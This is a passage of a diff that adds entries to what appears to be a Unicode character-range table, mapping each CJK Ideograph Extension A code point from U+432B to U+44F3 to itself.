+ ["\u432B", "\u432B"], /* CJK Ideograph Extension A */
+ ["\u432C", "\u432C"], /* CJK Ideograph Extension A */
+ ["\u432D", "\u432D"], /* CJK Ideograph Extension A */
+ ["\u432E", "\u432E"], /* CJK Ideograph Extension A */
+ ["\u432F", "\u432F"], /* CJK Ideograph Extension A */
+ ["\u4330", "\u4330"], /* CJK Ideograph Extension A */
+ ["\u4331", "\u4331"], /* CJK Ideograph Extension A */
+ ["\u4332", "\u4332"], /* CJK Ideograph Extension A */
+ ["\u4333", "\u4333"], /* CJK Ideograph Extension A */
+ ["\u4334", "\u4334"], /* CJK Ideograph Extension A */
+ ["\u4335", "\u4335"], /* CJK Ideograph Extension A */
+ ["\u4336", "\u4336"], /* CJK Ideograph Extension A */
+ ["\u4337", "\u4337"], /* CJK Ideograph Extension A */
+ ["\u4338", "\u4338"], /* CJK Ideograph Extension A */
+ ["\u4339", "\u4339"], /* CJK Ideograph Extension A */
+ ["\u433A", "\u433A"], /* CJK Ideograph Extension A */
+ ["\u433B", "\u433B"], /* CJK Ideograph Extension A */
+ ["\u433C", "\u433C"], /* CJK Ideograph Extension A */
+ ["\u433D", "\u433D"], /* CJK Ideograph Extension A */
+ ["\u433E", "\u433E"], /* CJK Ideograph Extension A */
+ ["\u433F", "\u433F"], /* CJK Ideograph Extension A */
+ ["\u4340", "\u4340"], /* CJK Ideograph Extension A */
+ ["\u4341", "\u4341"], /* CJK Ideograph Extension A */
+ ["\u4342", "\u4342"], /* CJK Ideograph Extension A */
+ ["\u4343", "\u4343"], /* CJK Ideograph Extension A */
+ ["\u4344", "\u4344"], /* CJK Ideograph Extension A */
+ ["\u4345", "\u4345"], /* CJK Ideograph Extension A */
+ ["\u4346", "\u4346"], /* CJK Ideograph Extension A */
+ ["\u4347", "\u4347"], /* CJK Ideograph Extension A */
+ ["\u4348", "\u4348"], /* CJK Ideograph Extension A */
+ ["\u4349", "\u4349"], /* CJK Ideograph Extension A */
+ ["\u434A", "\u434A"], /* CJK Ideograph Extension A */
+ ["\u434B", "\u434B"], /* CJK Ideograph Extension A */
+ ["\u434C", "\u434C"], /* CJK Ideograph Extension A */
+ ["\u434D", "\u434D"], /* CJK Ideograph Extension A */
+ ["\u434E", "\u434E"], /* CJK Ideograph Extension A */
+ ["\u434F", "\u434F"], /* CJK Ideograph Extension A */
+ ["\u4350", "\u4350"], /* CJK Ideograph Extension A */
+ ["\u4351", "\u4351"], /* CJK Ideograph Extension A */
+ ["\u4352", "\u4352"], /* CJK Ideograph Extension A */
+ ["\u4353", "\u4353"], /* CJK Ideograph Extension A */
+ ["\u4354", "\u4354"], /* CJK Ideograph Extension A */
+ ["\u4355", "\u4355"], /* CJK Ideograph Extension A */
+ ["\u4356", "\u4356"], /* CJK Ideograph Extension A */
+ ["\u4357", "\u4357"], /* CJK Ideograph Extension A */
+ ["\u4358", "\u4358"], /* CJK Ideograph Extension A */
+ ["\u4359", "\u4359"], /* CJK Ideograph Extension A */
+ ["\u435A", "\u435A"], /* CJK Ideograph Extension A */
+ ["\u435B", "\u435B"], /* CJK Ideograph Extension A */
+ ["\u435C", "\u435C"], /* CJK Ideograph Extension A */
+ ["\u435D", "\u435D"], /* CJK Ideograph Extension A */
+ ["\u435E", "\u435E"], /* CJK Ideograph Extension A */
+ ["\u435F", "\u435F"], /* CJK Ideograph Extension A */
+ ["\u4360", "\u4360"], /* CJK Ideograph Extension A */
+ ["\u4361", "\u4361"], /* CJK Ideograph Extension A */
+ ["\u4362", "\u4362"], /* CJK Ideograph Extension A */
+ ["\u4363", "\u4363"], /* CJK Ideograph Extension A */
+ ["\u4364", "\u4364"], /* CJK Ideograph Extension A */
+ ["\u4365", "\u4365"], /* CJK Ideograph Extension A */
+ ["\u4366", "\u4366"], /* CJK Ideograph Extension A */
+ ["\u4367", "\u4367"], /* CJK Ideograph Extension A */
+ ["\u4368", "\u4368"], /* CJK Ideograph Extension A */
+ ["\u4369", "\u4369"], /* CJK Ideograph Extension A */
+ ["\u436A", "\u436A"], /* CJK Ideograph Extension A */
+ ["\u436B", "\u436B"], /* CJK Ideograph Extension A */
+ ["\u436C", "\u436C"], /* CJK Ideograph Extension A */
+ ["\u436D", "\u436D"], /* CJK Ideograph Extension A */
+ ["\u436E", "\u436E"], /* CJK Ideograph Extension A */
+ ["\u436F", "\u436F"], /* CJK Ideograph Extension A */
+ ["\u4370", "\u4370"], /* CJK Ideograph Extension A */
+ ["\u4371", "\u4371"], /* CJK Ideograph Extension A */
+ ["\u4372", "\u4372"], /* CJK Ideograph Extension A */
+ ["\u4373", "\u4373"], /* CJK Ideograph Extension A */
+ ["\u4374", "\u4374"], /* CJK Ideograph Extension A */
+ ["\u4375", "\u4375"], /* CJK Ideograph Extension A */
+ ["\u4376", "\u4376"], /* CJK Ideograph Extension A */
+ ["\u4377", "\u4377"], /* CJK Ideograph Extension A */
+ ["\u4378", "\u4378"], /* CJK Ideograph Extension A */
+ ["\u4379", "\u4379"], /* CJK Ideograph Extension A */
+ ["\u437A", "\u437A"], /* CJK Ideograph Extension A */
+ ["\u437B", "\u437B"], /* CJK Ideograph Extension A */
+ ["\u437C", "\u437C"], /* CJK Ideograph Extension A */
+ ["\u437D", "\u437D"], /* CJK Ideograph Extension A */
+ ["\u437E", "\u437E"], /* CJK Ideograph Extension A */
+ ["\u437F", "\u437F"], /* CJK Ideograph Extension A */
+ ["\u4380", "\u4380"], /* CJK Ideograph Extension A */
+ ["\u4381", "\u4381"], /* CJK Ideograph Extension A */
+ ["\u4382", "\u4382"], /* CJK Ideograph Extension A */
+ ["\u4383", "\u4383"], /* CJK Ideograph Extension A */
+ ["\u4384", "\u4384"], /* CJK Ideograph Extension A */
+ ["\u4385", "\u4385"], /* CJK Ideograph Extension A */
+ ["\u4386", "\u4386"], /* CJK Ideograph Extension A */
+ ["\u4387", "\u4387"], /* CJK Ideograph Extension A */
+ ["\u4388", "\u4388"], /* CJK Ideograph Extension A */
+ ["\u4389", "\u4389"], /* CJK Ideograph Extension A */
+ ["\u438A", "\u438A"], /* CJK Ideograph Extension A */
+ ["\u438B", "\u438B"], /* CJK Ideograph Extension A */
+ ["\u438C", "\u438C"], /* CJK Ideograph Extension A */
+ ["\u438D", "\u438D"], /* CJK Ideograph Extension A */
+ ["\u438E", "\u438E"], /* CJK Ideograph Extension A */
+ ["\u438F", "\u438F"], /* CJK Ideograph Extension A */
+ ["\u4390", "\u4390"], /* CJK Ideograph Extension A */
+ ["\u4391", "\u4391"], /* CJK Ideograph Extension A */
+ ["\u4392", "\u4392"], /* CJK Ideograph Extension A */
+ ["\u4393", "\u4393"], /* CJK Ideograph Extension A */
+ ["\u4394", "\u4394"], /* CJK Ideograph Extension A */
+ ["\u4395", "\u4395"], /* CJK Ideograph Extension A */
+ ["\u4396", "\u4396"], /* CJK Ideograph Extension A */
+ ["\u4397", "\u4397"], /* CJK Ideograph Extension A */
+ ["\u4398", "\u4398"], /* CJK Ideograph Extension A */
+ ["\u4399", "\u4399"], /* CJK Ideograph Extension A */
+ ["\u439A", "\u439A"], /* CJK Ideograph Extension A */
+ ["\u439B", "\u439B"], /* CJK Ideograph Extension A */
+ ["\u439C", "\u439C"], /* CJK Ideograph Extension A */
+ ["\u439D", "\u439D"], /* CJK Ideograph Extension A */
+ ["\u439E", "\u439E"], /* CJK Ideograph Extension A */
+ ["\u439F", "\u439F"], /* CJK Ideograph Extension A */
+ ["\u43A0", "\u43A0"], /* CJK Ideograph Extension A */
+ ["\u43A1", "\u43A1"], /* CJK Ideograph Extension A */
+ ["\u43A2", "\u43A2"], /* CJK Ideograph Extension A */
+ ["\u43A3", "\u43A3"], /* CJK Ideograph Extension A */
+ ["\u43A4", "\u43A4"], /* CJK Ideograph Extension A */
+ ["\u43A5", "\u43A5"], /* CJK Ideograph Extension A */
+ ["\u43A6", "\u43A6"], /* CJK Ideograph Extension A */
+ ["\u43A7", "\u43A7"], /* CJK Ideograph Extension A */
+ ["\u43A8", "\u43A8"], /* CJK Ideograph Extension A */
+ ["\u43A9", "\u43A9"], /* CJK Ideograph Extension A */
+ ["\u43AA", "\u43AA"], /* CJK Ideograph Extension A */
+ ["\u43AB", "\u43AB"], /* CJK Ideograph Extension A */
+ ["\u43AC", "\u43AC"], /* CJK Ideograph Extension A */
+ ["\u43AD", "\u43AD"], /* CJK Ideograph Extension A */
+ ["\u43AE", "\u43AE"], /* CJK Ideograph Extension A */
+ ["\u43AF", "\u43AF"], /* CJK Ideograph Extension A */
+ ["\u43B0", "\u43B0"], /* CJK Ideograph Extension A */
+ ["\u43B1", "\u43B1"], /* CJK Ideograph Extension A */
+ ["\u43B2", "\u43B2"], /* CJK Ideograph Extension A */
+ ["\u43B3", "\u43B3"], /* CJK Ideograph Extension A */
+ ["\u43B4", "\u43B4"], /* CJK Ideograph Extension A */
+ ["\u43B5", "\u43B5"], /* CJK Ideograph Extension A */
+ ["\u43B6", "\u43B6"], /* CJK Ideograph Extension A */
+ ["\u43B7", "\u43B7"], /* CJK Ideograph Extension A */
+ ["\u43B8", "\u43B8"], /* CJK Ideograph Extension A */
+ ["\u43B9", "\u43B9"], /* CJK Ideograph Extension A */
+ ["\u43BA", "\u43BA"], /* CJK Ideograph Extension A */
+ ["\u43BB", "\u43BB"], /* CJK Ideograph Extension A */
+ ["\u43BC", "\u43BC"], /* CJK Ideograph Extension A */
+ ["\u43BD", "\u43BD"], /* CJK Ideograph Extension A */
+ ["\u43BE", "\u43BE"], /* CJK Ideograph Extension A */
+ ["\u43BF", "\u43BF"], /* CJK Ideograph Extension A */
+ ["\u43C0", "\u43C0"], /* CJK Ideograph Extension A */
+ ["\u43C1", "\u43C1"], /* CJK Ideograph Extension A */
+ ["\u43C2", "\u43C2"], /* CJK Ideograph Extension A */
+ ["\u43C3", "\u43C3"], /* CJK Ideograph Extension A */
+ ["\u43C4", "\u43C4"], /* CJK Ideograph Extension A */
+ ["\u43C5", "\u43C5"], /* CJK Ideograph Extension A */
+ ["\u43C6", "\u43C6"], /* CJK Ideograph Extension A */
+ ["\u43C7", "\u43C7"], /* CJK Ideograph Extension A */
+ ["\u43C8", "\u43C8"], /* CJK Ideograph Extension A */
+ ["\u43C9", "\u43C9"], /* CJK Ideograph Extension A */
+ ["\u43CA", "\u43CA"], /* CJK Ideograph Extension A */
+ ["\u43CB", "\u43CB"], /* CJK Ideograph Extension A */
+ ["\u43CC", "\u43CC"], /* CJK Ideograph Extension A */
+ ["\u43CD", "\u43CD"], /* CJK Ideograph Extension A */
+ ["\u43CE", "\u43CE"], /* CJK Ideograph Extension A */
+ ["\u43CF", "\u43CF"], /* CJK Ideograph Extension A */
+ ["\u43D0", "\u43D0"], /* CJK Ideograph Extension A */
+ ["\u43D1", "\u43D1"], /* CJK Ideograph Extension A */
+ ["\u43D2", "\u43D2"], /* CJK Ideograph Extension A */
+ ["\u43D3", "\u43D3"], /* CJK Ideograph Extension A */
+ ["\u43D4", "\u43D4"], /* CJK Ideograph Extension A */
+ ["\u43D5", "\u43D5"], /* CJK Ideograph Extension A */
+ ["\u43D6", "\u43D6"], /* CJK Ideograph Extension A */
+ ["\u43D7", "\u43D7"], /* CJK Ideograph Extension A */
+ ["\u43D8", "\u43D8"], /* CJK Ideograph Extension A */
+ ["\u43D9", "\u43D9"], /* CJK Ideograph Extension A */
+ ["\u43DA", "\u43DA"], /* CJK Ideograph Extension A */
+ ["\u43DB", "\u43DB"], /* CJK Ideograph Extension A */
+ ["\u43DC", "\u43DC"], /* CJK Ideograph Extension A */
+ ["\u43DD", "\u43DD"], /* CJK Ideograph Extension A */
+ ["\u43DE", "\u43DE"], /* CJK Ideograph Extension A */
+ ["\u43DF", "\u43DF"], /* CJK Ideograph Extension A */
+ ["\u43E0", "\u43E0"], /* CJK Ideograph Extension A */
+ ["\u43E1", "\u43E1"], /* CJK Ideograph Extension A */
+ ["\u43E2", "\u43E2"], /* CJK Ideograph Extension A */
+ ["\u43E3", "\u43E3"], /* CJK Ideograph Extension A */
+ ["\u43E4", "\u43E4"], /* CJK Ideograph Extension A */
+ ["\u43E5", "\u43E5"], /* CJK Ideograph Extension A */
+ ["\u43E6", "\u43E6"], /* CJK Ideograph Extension A */
+ ["\u43E7", "\u43E7"], /* CJK Ideograph Extension A */
+ ["\u43E8", "\u43E8"], /* CJK Ideograph Extension A */
+ ["\u43E9", "\u43E9"], /* CJK Ideograph Extension A */
+ ["\u43EA", "\u43EA"], /* CJK Ideograph Extension A */
+ ["\u43EB", "\u43EB"], /* CJK Ideograph Extension A */
+ ["\u43EC", "\u43EC"], /* CJK Ideograph Extension A */
+ ["\u43ED", "\u43ED"], /* CJK Ideograph Extension A */
+ ["\u43EE", "\u43EE"], /* CJK Ideograph Extension A */
+ ["\u43EF", "\u43EF"], /* CJK Ideograph Extension A */
+ ["\u43F0", "\u43F0"], /* CJK Ideograph Extension A */
+ ["\u43F1", "\u43F1"], /* CJK Ideograph Extension A */
+ ["\u43F2", "\u43F2"], /* CJK Ideograph Extension A */
+ ["\u43F3", "\u43F3"], /* CJK Ideograph Extension A */
+ ["\u43F4", "\u43F4"], /* CJK Ideograph Extension A */
+ ["\u43F5", "\u43F5"], /* CJK Ideograph Extension A */
+ ["\u43F6", "\u43F6"], /* CJK Ideograph Extension A */
+ ["\u43F7", "\u43F7"], /* CJK Ideograph Extension A */
+ ["\u43F8", "\u43F8"], /* CJK Ideograph Extension A */
+ ["\u43F9", "\u43F9"], /* CJK Ideograph Extension A */
+ ["\u43FA", "\u43FA"], /* CJK Ideograph Extension A */
+ ["\u43FB", "\u43FB"], /* CJK Ideograph Extension A */
+ ["\u43FC", "\u43FC"], /* CJK Ideograph Extension A */
+ ["\u43FD", "\u43FD"], /* CJK Ideograph Extension A */
+ ["\u43FE", "\u43FE"], /* CJK Ideograph Extension A */
+ ["\u43FF", "\u43FF"], /* CJK Ideograph Extension A */
+ ["\u4400", "\u4400"], /* CJK Ideograph Extension A */
+ ["\u4401", "\u4401"], /* CJK Ideograph Extension A */
+ ["\u4402", "\u4402"], /* CJK Ideograph Extension A */
+ ["\u4403", "\u4403"], /* CJK Ideograph Extension A */
+ ["\u4404", "\u4404"], /* CJK Ideograph Extension A */
+ ["\u4405", "\u4405"], /* CJK Ideograph Extension A */
+ ["\u4406", "\u4406"], /* CJK Ideograph Extension A */
+ ["\u4407", "\u4407"], /* CJK Ideograph Extension A */
+ ["\u4408", "\u4408"], /* CJK Ideograph Extension A */
+ ["\u4409", "\u4409"], /* CJK Ideograph Extension A */
+ ["\u440A", "\u440A"], /* CJK Ideograph Extension A */
+ ["\u440B", "\u440B"], /* CJK Ideograph Extension A */
+ ["\u440C", "\u440C"], /* CJK Ideograph Extension A */
+ ["\u440D", "\u440D"], /* CJK Ideograph Extension A */
+ ["\u440E", "\u440E"], /* CJK Ideograph Extension A */
+ ["\u440F", "\u440F"], /* CJK Ideograph Extension A */
+ ["\u4410", "\u4410"], /* CJK Ideograph Extension A */
+ ["\u4411", "\u4411"], /* CJK Ideograph Extension A */
+ ["\u4412", "\u4412"], /* CJK Ideograph Extension A */
+ ["\u4413", "\u4413"], /* CJK Ideograph Extension A */
+ ["\u4414", "\u4414"], /* CJK Ideograph Extension A */
+ ["\u4415", "\u4415"], /* CJK Ideograph Extension A */
+ ["\u4416", "\u4416"], /* CJK Ideograph Extension A */
+ ["\u4417", "\u4417"], /* CJK Ideograph Extension A */
+ ["\u4418", "\u4418"], /* CJK Ideograph Extension A */
+ ["\u4419", "\u4419"], /* CJK Ideograph Extension A */
+ ["\u441A", "\u441A"], /* CJK Ideograph Extension A */
+ ["\u441B", "\u441B"], /* CJK Ideograph Extension A */
+ ["\u441C", "\u441C"], /* CJK Ideograph Extension A */
+ ["\u441D", "\u441D"], /* CJK Ideograph Extension A */
+ ["\u441E", "\u441E"], /* CJK Ideograph Extension A */
+ ["\u441F", "\u441F"], /* CJK Ideograph Extension A */
+ ["\u4420", "\u4420"], /* CJK Ideograph Extension A */
+ ["\u4421", "\u4421"], /* CJK Ideograph Extension A */
+ ["\u4422", "\u4422"], /* CJK Ideograph Extension A */
+ ["\u4423", "\u4423"], /* CJK Ideograph Extension A */
+ ["\u4424", "\u4424"], /* CJK Ideograph Extension A */
+ ["\u4425", "\u4425"], /* CJK Ideograph Extension A */
+ ["\u4426", "\u4426"], /* CJK Ideograph Extension A */
+ ["\u4427", "\u4427"], /* CJK Ideograph Extension A */
+ ["\u4428", "\u4428"], /* CJK Ideograph Extension A */
+ ["\u4429", "\u4429"], /* CJK Ideograph Extension A */
+ ["\u442A", "\u442A"], /* CJK Ideograph Extension A */
+ ["\u442B", "\u442B"], /* CJK Ideograph Extension A */
+ ["\u442C", "\u442C"], /* CJK Ideograph Extension A */
+ ["\u442D", "\u442D"], /* CJK Ideograph Extension A */
+ ["\u442E", "\u442E"], /* CJK Ideograph Extension A */
+ ["\u442F", "\u442F"], /* CJK Ideograph Extension A */
+ ["\u4430", "\u4430"], /* CJK Ideograph Extension A */
+ ["\u4431", "\u4431"], /* CJK Ideograph Extension A */
+ ["\u4432", "\u4432"], /* CJK Ideograph Extension A */
+ ["\u4433", "\u4433"], /* CJK Ideograph Extension A */
+ ["\u4434", "\u4434"], /* CJK Ideograph Extension A */
+ ["\u4435", "\u4435"], /* CJK Ideograph Extension A */
+ ["\u4436", "\u4436"], /* CJK Ideograph Extension A */
+ ["\u4437", "\u4437"], /* CJK Ideograph Extension A */
+ ["\u4438", "\u4438"], /* CJK Ideograph Extension A */
+ ["\u4439", "\u4439"], /* CJK Ideograph Extension A */
+ ["\u443A", "\u443A"], /* CJK Ideograph Extension A */
+ ["\u443B", "\u443B"], /* CJK Ideograph Extension A */
+ ["\u443C", "\u443C"], /* CJK Ideograph Extension A */
+ ["\u443D", "\u443D"], /* CJK Ideograph Extension A */
+ ["\u443E", "\u443E"], /* CJK Ideograph Extension A */
+ ["\u443F", "\u443F"], /* CJK Ideograph Extension A */
+ ["\u4440", "\u4440"], /* CJK Ideograph Extension A */
+ ["\u4441", "\u4441"], /* CJK Ideograph Extension A */
+ ["\u4442", "\u4442"], /* CJK Ideograph Extension A */
+ ["\u4443", "\u4443"], /* CJK Ideograph Extension A */
+ ["\u4444", "\u4444"], /* CJK Ideograph Extension A */
+ ["\u4445", "\u4445"], /* CJK Ideograph Extension A */
+ ["\u4446", "\u4446"], /* CJK Ideograph Extension A */
+ ["\u4447", "\u4447"], /* CJK Ideograph Extension A */
+ ["\u4448", "\u4448"], /* CJK Ideograph Extension A */
+ ["\u4449", "\u4449"], /* CJK Ideograph Extension A */
+ ["\u444A", "\u444A"], /* CJK Ideograph Extension A */
+ ["\u444B", "\u444B"], /* CJK Ideograph Extension A */
+ ["\u444C", "\u444C"], /* CJK Ideograph Extension A */
+ ["\u444D", "\u444D"], /* CJK Ideograph Extension A */
+ ["\u444E", "\u444E"], /* CJK Ideograph Extension A */
+ ["\u444F", "\u444F"], /* CJK Ideograph Extension A */
+ ["\u4450", "\u4450"], /* CJK Ideograph Extension A */
+ ["\u4451", "\u4451"], /* CJK Ideograph Extension A */
+ ["\u4452", "\u4452"], /* CJK Ideograph Extension A */
+ ["\u4453", "\u4453"], /* CJK Ideograph Extension A */
+ ["\u4454", "\u4454"], /* CJK Ideograph Extension A */
+ ["\u4455", "\u4455"], /* CJK Ideograph Extension A */
+ ["\u4456", "\u4456"], /* CJK Ideograph Extension A */
+ ["\u4457", "\u4457"], /* CJK Ideograph Extension A */
+ ["\u4458", "\u4458"], /* CJK Ideograph Extension A */
+ ["\u4459", "\u4459"], /* CJK Ideograph Extension A */
+ ["\u445A", "\u445A"], /* CJK Ideograph Extension A */
+ ["\u445B", "\u445B"], /* CJK Ideograph Extension A */
+ ["\u445C", "\u445C"], /* CJK Ideograph Extension A */
+ ["\u445D", "\u445D"], /* CJK Ideograph Extension A */
+ ["\u445E", "\u445E"], /* CJK Ideograph Extension A */
+ ["\u445F", "\u445F"], /* CJK Ideograph Extension A */
+ ["\u4460", "\u4460"], /* CJK Ideograph Extension A */
+ ["\u4461", "\u4461"], /* CJK Ideograph Extension A */
+ ["\u4462", "\u4462"], /* CJK Ideograph Extension A */
+ ["\u4463", "\u4463"], /* CJK Ideograph Extension A */
+ ["\u4464", "\u4464"], /* CJK Ideograph Extension A */
+ ["\u4465", "\u4465"], /* CJK Ideograph Extension A */
+ ["\u4466", "\u4466"], /* CJK Ideograph Extension A */
+ ["\u4467", "\u4467"], /* CJK Ideograph Extension A */
+ ["\u4468", "\u4468"], /* CJK Ideograph Extension A */
+ ["\u4469", "\u4469"], /* CJK Ideograph Extension A */
+ ["\u446A", "\u446A"], /* CJK Ideograph Extension A */
+ ["\u446B", "\u446B"], /* CJK Ideograph Extension A */
+ ["\u446C", "\u446C"], /* CJK Ideograph Extension A */
+ ["\u446D", "\u446D"], /* CJK Ideograph Extension A */
+ ["\u446E", "\u446E"], /* CJK Ideograph Extension A */
+ ["\u446F", "\u446F"], /* CJK Ideograph Extension A */
+ ["\u4470", "\u4470"], /* CJK Ideograph Extension A */
+ ["\u4471", "\u4471"], /* CJK Ideograph Extension A */
+ ["\u4472", "\u4472"], /* CJK Ideograph Extension A */
+ ["\u4473", "\u4473"], /* CJK Ideograph Extension A */
+ ["\u4474", "\u4474"], /* CJK Ideograph Extension A */
+ ["\u4475", "\u4475"], /* CJK Ideograph Extension A */
+ ["\u4476", "\u4476"], /* CJK Ideograph Extension A */
+ ["\u4477", "\u4477"], /* CJK Ideograph Extension A */
+ ["\u4478", "\u4478"], /* CJK Ideograph Extension A */
+ ["\u4479", "\u4479"], /* CJK Ideograph Extension A */
+ ["\u447A", "\u447A"], /* CJK Ideograph Extension A */
+ ["\u447B", "\u447B"], /* CJK Ideograph Extension A */
+ ["\u447C", "\u447C"], /* CJK Ideograph Extension A */
+ ["\u447D", "\u447D"], /* CJK Ideograph Extension A */
+ ["\u447E", "\u447E"], /* CJK Ideograph Extension A */
+ ["\u447F", "\u447F"], /* CJK Ideograph Extension A */
+ ["\u4480", "\u4480"], /* CJK Ideograph Extension A */
+ ["\u4481", "\u4481"], /* CJK Ideograph Extension A */
+ ["\u4482", "\u4482"], /* CJK Ideograph Extension A */
+ ["\u4483", "\u4483"], /* CJK Ideograph Extension A */
+ ["\u4484", "\u4484"], /* CJK Ideograph Extension A */
+ ["\u4485", "\u4485"], /* CJK Ideograph Extension A */
+ ["\u4486", "\u4486"], /* CJK Ideograph Extension A */
+ ["\u4487", "\u4487"], /* CJK Ideograph Extension A */
+ ["\u4488", "\u4488"], /* CJK Ideograph Extension A */
+ ["\u4489", "\u4489"], /* CJK Ideograph Extension A */
+ ["\u448A", "\u448A"], /* CJK Ideograph Extension A */
+ ["\u448B", "\u448B"], /* CJK Ideograph Extension A */
+ ["\u448C", "\u448C"], /* CJK Ideograph Extension A */
+ ["\u448D", "\u448D"], /* CJK Ideograph Extension A */
+ ["\u448E", "\u448E"], /* CJK Ideograph Extension A */
+ ["\u448F", "\u448F"], /* CJK Ideograph Extension A */
+ ["\u4490", "\u4490"], /* CJK Ideograph Extension A */
+ ["\u4491", "\u4491"], /* CJK Ideograph Extension A */
+ ["\u4492", "\u4492"], /* CJK Ideograph Extension A */
+ ["\u4493", "\u4493"], /* CJK Ideograph Extension A */
+ ["\u4494", "\u4494"], /* CJK Ideograph Extension A */
+ ["\u4495", "\u4495"], /* CJK Ideograph Extension A */
+ ["\u4496", "\u4496"], /* CJK Ideograph Extension A */
+ ["\u4497", "\u4497"], /* CJK Ideograph Extension A */
+ ["\u4498", "\u4498"], /* CJK Ideograph Extension A */
+ ["\u4499", "\u4499"], /* CJK Ideograph Extension A */
+ ["\u449A", "\u449A"], /* CJK Ideograph Extension A */
+ ["\u449B", "\u449B"], /* CJK Ideograph Extension A */
+ ["\u449C", "\u449C"], /* CJK Ideograph Extension A */
+ ["\u449D", "\u449D"], /* CJK Ideograph Extension A */
+ ["\u449E", "\u449E"], /* CJK Ideograph Extension A */
+ ["\u449F", "\u449F"], /* CJK Ideograph Extension A */
+ ["\u44A0", "\u44A0"], /* CJK Ideograph Extension A */
+ ["\u44A1", "\u44A1"], /* CJK Ideograph Extension A */
+ ["\u44A2", "\u44A2"], /* CJK Ideograph Extension A */
+ ["\u44A3", "\u44A3"], /* CJK Ideograph Extension A */
+ ["\u44A4", "\u44A4"], /* CJK Ideograph Extension A */
+ ["\u44A5", "\u44A5"], /* CJK Ideograph Extension A */
+ ["\u44A6", "\u44A6"], /* CJK Ideograph Extension A */
+ ["\u44A7", "\u44A7"], /* CJK Ideograph Extension A */
+ ["\u44A8", "\u44A8"], /* CJK Ideograph Extension A */
+ ["\u44A9", "\u44A9"], /* CJK Ideograph Extension A */
+ ["\u44AA", "\u44AA"], /* CJK Ideograph Extension A */
+ ["\u44AB", "\u44AB"], /* CJK Ideograph Extension A */
+ ["\u44AC", "\u44AC"], /* CJK Ideograph Extension A */
+ ["\u44AD", "\u44AD"], /* CJK Ideograph Extension A */
+ ["\u44AE", "\u44AE"], /* CJK Ideograph Extension A */
+ ["\u44AF", "\u44AF"], /* CJK Ideograph Extension A */
+ ["\u44B0", "\u44B0"], /* CJK Ideograph Extension A */
+ ["\u44B1", "\u44B1"], /* CJK Ideograph Extension A */
+ ["\u44B2", "\u44B2"], /* CJK Ideograph Extension A */
+ ["\u44B3", "\u44B3"], /* CJK Ideograph Extension A */
+ ["\u44B4", "\u44B4"], /* CJK Ideograph Extension A */
+ ["\u44B5", "\u44B5"], /* CJK Ideograph Extension A */
+ ["\u44B6", "\u44B6"], /* CJK Ideograph Extension A */
+ ["\u44B7", "\u44B7"], /* CJK Ideograph Extension A */
+ ["\u44B8", "\u44B8"], /* CJK Ideograph Extension A */
+ ["\u44B9", "\u44B9"], /* CJK Ideograph Extension A */
+ ["\u44BA", "\u44BA"], /* CJK Ideograph Extension A */
+ ["\u44BB", "\u44BB"], /* CJK Ideograph Extension A */
+ ["\u44BC", "\u44BC"], /* CJK Ideograph Extension A */
+ ["\u44BD", "\u44BD"], /* CJK Ideograph Extension A */
+ ["\u44BE", "\u44BE"], /* CJK Ideograph Extension A */
+ ["\u44BF", "\u44BF"], /* CJK Ideograph Extension A */
+ ["\u44C0", "\u44C0"], /* CJK Ideograph Extension A */
+ ["\u44C1", "\u44C1"], /* CJK Ideograph Extension A */
+ ["\u44C2", "\u44C2"], /* CJK Ideograph Extension A */
+ ["\u44C3", "\u44C3"], /* CJK Ideograph Extension A */
+ ["\u44C4", "\u44C4"], /* CJK Ideograph Extension A */
+ ["\u44C5", "\u44C5"], /* CJK Ideograph Extension A */
+ ["\u44C6", "\u44C6"], /* CJK Ideograph Extension A */
+ ["\u44C7", "\u44C7"], /* CJK Ideograph Extension A */
+ ["\u44C8", "\u44C8"], /* CJK Ideograph Extension A */
+ ["\u44C9", "\u44C9"], /* CJK Ideograph Extension A */
+ ["\u44CA", "\u44CA"], /* CJK Ideograph Extension A */
+ ["\u44CB", "\u44CB"], /* CJK Ideograph Extension A */
+ ["\u44CC", "\u44CC"], /* CJK Ideograph Extension A */
+ ["\u44CD", "\u44CD"], /* CJK Ideograph Extension A */
+ ["\u44CE", "\u44CE"], /* CJK Ideograph Extension A */
+ ["\u44CF", "\u44CF"], /* CJK Ideograph Extension A */
+ ["\u44D0", "\u44D0"], /* CJK Ideograph Extension A */
+ ["\u44D1", "\u44D1"], /* CJK Ideograph Extension A */
+ ["\u44D2", "\u44D2"], /* CJK Ideograph Extension A */
+ ["\u44D3", "\u44D3"], /* CJK Ideograph Extension A */
+ ["\u44D4", "\u44D4"], /* CJK Ideograph Extension A */
+ ["\u44D5", "\u44D5"], /* CJK Ideograph Extension A */
+ ["\u44D6", "\u44D6"], /* CJK Ideograph Extension A */
+ ["\u44D7", "\u44D7"], /* CJK Ideograph Extension A */
+ ["\u44D8", "\u44D8"], /* CJK Ideograph Extension A */
+ ["\u44D9", "\u44D9"], /* CJK Ideograph Extension A */
+ ["\u44DA", "\u44DA"], /* CJK Ideograph Extension A */
+ ["\u44DB", "\u44DB"], /* CJK Ideograph Extension A */
+ ["\u44DC", "\u44DC"], /* CJK Ideograph Extension A */
+ ["\u44DD", "\u44DD"], /* CJK Ideograph Extension A */
+ ["\u44DE", "\u44DE"], /* CJK Ideograph Extension A */
+ ["\u44DF", "\u44DF"], /* CJK Ideograph Extension A */
+ ["\u44E0", "\u44E0"], /* CJK Ideograph Extension A */
+ ["\u44E1", "\u44E1"], /* CJK Ideograph Extension A */
+ ["\u44E2", "\u44E2"], /* CJK Ideograph Extension A */
+ ["\u44E3", "\u44E3"], /* CJK Ideograph Extension A */
+ ["\u44E4", "\u44E4"], /* CJK Ideograph Extension A */
+ ["\u44E5", "\u44E5"], /* CJK Ideograph Extension A */
+ ["\u44E6", "\u44E6"], /* CJK Ideograph Extension A */
+ ["\u44E7", "\u44E7"], /* CJK Ideograph Extension A */
+ ["\u44E8", "\u44E8"], /* CJK Ideograph Extension A */
+ ["\u44E9", "\u44E9"], /* CJK Ideograph Extension A */
+ ["\u44EA", "\u44EA"], /* CJK Ideograph Extension A */
+ ["\u44EB", "\u44EB"], /* CJK Ideograph Extension A */
+ ["\u44EC", "\u44EC"], /* CJK Ideograph Extension A */
+ ["\u44ED", "\u44ED"], /* CJK Ideograph Extension A */
+ ["\u44EE", "\u44EE"], /* CJK Ideograph Extension A */
+ ["\u44EF", "\u44EF"], /* CJK Ideograph Extension A */
+ ["\u44F0", "\u44F0"], /* CJK Ideograph Extension A */
+ ["\u44F1", "\u44F1"], /* CJK Ideograph Extension A */
+ ["\u44F2", "\u44F2"], /* CJK Ideograph Extension A */
+ ["\u44F3", "\u44F3"], /* CJK Ideograph Extension A */
